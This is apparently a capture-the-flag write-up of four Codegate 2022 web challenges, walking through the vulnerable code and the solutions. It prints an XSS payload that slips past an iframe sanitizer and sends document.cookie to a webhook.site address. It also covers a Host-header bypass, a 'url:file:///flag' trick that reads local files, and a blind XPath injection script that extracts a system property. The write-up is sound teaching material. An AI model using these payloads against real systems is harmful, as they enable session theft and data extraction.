메인 컨텐츠로 넘어가기

Codegate2022 Qual - EN

CAFE

  • Unintended Solution

    If you check the source code of bot.py, you can find the password of the account admin. So, you can login via that information and get flag.

  • Intended Solution

    I solved this challenge in Intended way after solved all web challenges.

    If you check /libs/util.php, you can find the filterHtml function which is used for the safe html sanitizing. The part you need to see is iframe.

            case 'iframe':
                $src = $element->src;
                $host = parse_url($src)['host'];
                if (strpos($host, 'youtube.com') !== false){
                  $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
                }
                break;
    

    It's checking $host which is returned by parse_url function. And this return vaule must be youtube.com. And it set iframe's src attribute $src. As we can use javascript: scheme and parse_url takes youtube.com as host when we abuse like javascript://youtube.com, we can bypass this sanitizer easily. By the javascript: scheme treats // as a comment, we can make youtube.com as just a comment and can use new line charater for activating javascript again.

    So, the payload is

    <iframe src="javascript://youtube.com/%0alocation='https://webhook.site/29eb4b3e-db17-40a9-90e9-2097648d43b0/'%2bdocument.cookie"></iframe><iframe src="javascript://youtube.com/%0alocation='https://webhook.site/29eb4b3e-db17-40a9-90e9-2097648d43b0/'%2bdocument.cookie"></iframe>
    

    After using this payload, you can get the admin's session and can get flag.

    Flag: codegate2022{4074a143396395e7196bbfd60da0d3a7739139b66543871611c4d5eb397884a9}

Superbee

This challenge is using beego library for hosting the web site. And this library supports the AutoRouter which is very interesting and I could find a official documentation for this at beedoc/router.md at master · beego/beedoc · GitHub. So, I could understand how the router works. The objective was quite clear. First, we need to access AdminController's AuthKey function for getting the encrypted auth_key. But there was a filtering about the domain if you check the BaseController.

func (this *BaseController) Prepare() {
    controllerName, _ := this.GetControllerAndAction()
    session := this.Ctx.GetCookie(Md5("sess"))

    if controllerName == "MainController" {
        if session == "" || session != Md5(admin_id + auth_key) {
            this.Redirect("/login/login", 403)
            return
        }
    } else if controllerName == "LoginController" {
        if session != "" {
            this.Ctx.SetCookie(Md5("sess"), "")
        }
    } else if controllerName == "AdminController" {
        domain := this.Ctx.Input.Domain()

        if domain != "localhost" {
            this.Abort("Not Local")
            return
        }
    }
}

At this time, I could realize that I can bypass this domain checking logic by changing Host in request packet. So, I just changed host like Host: localhost and I can access to /admin/authkey. The encrypted auth_key is 00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607 and I could decrypt this easily.

from Crypto.Cipher import AES

enc = bytearray.fromhex('00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607')
key = b'\x10' * 16
iv = b'\x10' * 16
enc = bytes(enc)
aes = AES.new(key, AES.MODE_CBC,iv)
p = aes.decrypt(enc)
print(p.hex())

The auth_key was Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d and we can get flag by making cookie following below logic.

func (this *LoginController) Auth() {
    id := this.GetString("id")
    password := this.GetString("password")

    if id == admin_id && password == admin_pw {
        this.Ctx.SetCookie(Md5("sess"), Md5(admin_id + auth_key), 300)

        this.Ctx.WriteString("<script>alert('Login Success');location.href='/main/index';</script>")
        return
    }
    this.Ctx.WriteString("<script>alert('Login Fail');location.href='/login/login';</script>")
}

Flag: codegate2022{d9adbe86f4ecc93944e77183e1dc6342}

babyFirst

If you decompile MemoServlet.class, you can find the function lookupImg. Which is a function gets the content of url that I provided.

    private static String lookupImg(String memo) {
        Pattern pattern = Pattern.compile("(\\[[^\\]]+\\])");
        Matcher matcher = pattern.matcher(memo);
        String img = "";
        if (!matcher.find()) {
            return "";
        }
        img = matcher.group();
        String tmp = img.substring(1, img.length() - 1);
        tmp = tmp.trim().toLowerCase();
        pattern = Pattern.compile("^[a-z]+:");
        matcher = pattern.matcher(tmp);
        if (!matcher.find() || matcher.group().startsWith("file")) {
            return "";
        }
        String urlContent = "";
        try {
            final URL url = new URL(tmp);
            final BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
            String inputLine = "";
            while ((inputLine = in.readLine()) != null) {
                urlContent = urlContent + inputLine + "\n";
            }
            in.close();
        }
        catch (Exception e) {
            return "";
        }
        final Base64.Encoder encoder = Base64.getEncoder();
        try {
            final String encodedString = new String(encoder.encode(urlContent.getBytes("utf-8")));
            memo = memo.replace(img, "<img src='data:image/jpeg;charset=utf-8;base64," + encodedString + "'><br/>");
            return memo;
        }
        catch (Exception e2) {
            return "";
        }
    }

This function treats the [link] as an image link and get contents via StreamReader. So, if we use file scheme, we can get flag. But, there is a pattern checking logic for file scheme by using .startsWith. This means when we make our link does not start with file but it worked with file, we can get file. So, I started to read about many documents and source codes of libraries. And I found this - jdk11/URL.java at master · openjdk/jdk11 · GitHub.

            if (spec.regionMatches(true, start, "url:", 0, 4)) {
                start += 4;
            }

The URL class checks that url starts with url: and if it is, the function treats that it's not real start of address. So, it just add 4 for getting real url.

At this time, we can use file scheme for getting flag like [url:file:///flag] and this was my actual payload.

Flag: codegate2022{8953bf834fdde34ae51937975c78a895863de1e1}

myblog

If you decompile blogServlet.class, you can found a function doReadArticle which has XPATH Injection.

    private String[] doReadArticle(final HttpServletRequest req) {
        final String id = (String)req.getSession().getAttribute("id");
        final String idx = req.getParameter("idx");
        if ("null".equals(id) || idx == null) {
            return null;
        }
        final File userArticle = new File(this.tmpDir + "/article/", id + ".xml");
        try {
            final InputSource is = new InputSource(new FileInputStream(userArticle));
            final Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(is);
            final XPath xpath = XPathFactory.newInstance().newXPath();
            String title = (String)xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING);
            String content = (String)xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING);
            title = this.decBase64(title.trim());
            content = this.decBase64(content.trim());
            return new String[] { title, content };
        }
        catch (Exception e) {
            System.out.println(e.getMessage());
            return null;
        }
    }

And also, you can find the flag is defined in catalina.properties via Dockerfile.

FROM ubuntu:20.04

RUN apt-get -y update && apt-get -y install software-properties-common

RUN apt-get install -y openjdk-11-jdk

RUN apt-get -y install wget
RUN mkdir /usr/local/tomcat
RUN wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.75/bin/apache-tomcat-8.5.75.tar.gz -O /tmp/tomcat.tar.gz
RUN cd /tmp && tar xvfz tomcat.tar.gz
RUN cp -Rv /tmp/apache-tomcat-8.5.75/* /usr/local/tomcat/
RUN rm -rf /tmp/* && rm -rf /usr/local/tomcat/webapps/

COPY src/ROOT/ /usr/local/tomcat/webapps/ROOT/

COPY start.sh /start.sh
RUN chmod +x /start.sh

RUN echo 'flag=codegate2022{md5(flag)}' >> /usr/local/tomcat/conf/catalina.properties

CMD ["/start.sh"]

If you find about catalina.properties, you will realize that the variables defined at this file is treat as system properties (apache - Tomcat 7 - where do I set &#39;system properties&#39;? - Stack Overflow). So, I started to find about the XPATH function releated with system properties. I could find system-property - XPath | MDN and this worked on me. So, I could get one letter of flag at a time via XPATH Injection.

Payload:

import requests
from string import ascii_lowercase, digits

SESSION = {'JSESSIONID':'72A44ADB9B62B1F392717BA9A31E06D4'}
flag = ''

for i in range(34+len('codegate2022')):
    for x in ascii_lowercase+digits+'{}':
        conn = requests.get('http://3.39.79.180/blog/read?idx=1%27%20and%20starts-with(system-property(%27flag%27),%27'+flag+x+'%27)%20and%20@idx=%271', cookies=SESSION)
        r1 = conn.text
        if 'test' in r1:
            flag += x
            print(flag)
            break

Flag: codegate2022{bcbbc8d6c8f7ea1924ee108f38cc000f}

컨텐츠 처음으로 돌아가기